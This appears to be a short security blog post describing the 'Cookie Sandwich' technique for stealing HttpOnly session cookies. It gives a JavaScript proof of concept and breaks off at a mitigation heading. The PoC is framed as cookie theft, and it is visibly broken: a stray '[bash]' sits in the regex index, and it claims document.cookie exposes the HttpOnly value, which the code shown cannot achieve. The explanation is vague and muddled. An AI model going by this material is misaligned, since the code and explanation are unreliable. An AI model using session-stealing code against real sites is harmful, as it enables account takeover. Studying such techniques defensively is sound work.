Stealing HttpOnly Cookies with the Cookie Sandwich Technique

Listen to this Post

Featured Image
The Cookie Sandwich Technique is a method discovered by PortSwigger’s Research to bypass HttpOnly cookie protections, potentially allowing attackers to steal sensitive session cookies. This technique exploits browser behaviors to access HttpOnly cookies indirectly.

You Should Know:

How the Cookie Sandwich Technique Works

  1. HttpOnly Cookie Limitation: Normally, HttpOnly cookies are inaccessible via JavaScript (document.cookie), preventing XSS attacks from stealing them.
  2. Cookie Overwriting Trick: An attacker can inject a malicious script that forces the browser to:

– Set a new cookie with the same name as the HttpOnly cookie.
– Trigger a request where the server responds with the original HttpOnly cookie.
– Capture the cookie value due to browser behavior.

Proof of Concept (PoC) Code

// Step 1: Set a non-HttpOnly cookie with the same name
document.cookie = "session=malicious_value; path=/";

// Step 2: Force a request (e.g., via fetch or img.src)
fetch('/profile', { credentials: 'include' })
.then(response => response.text())
.then(data => {
// The cookie is now accessible due to browser behavior
console.log("Stolen Cookie:", document.cookie.match(/session=([^;]+)/)[bash]);
});

Mitigation Techniques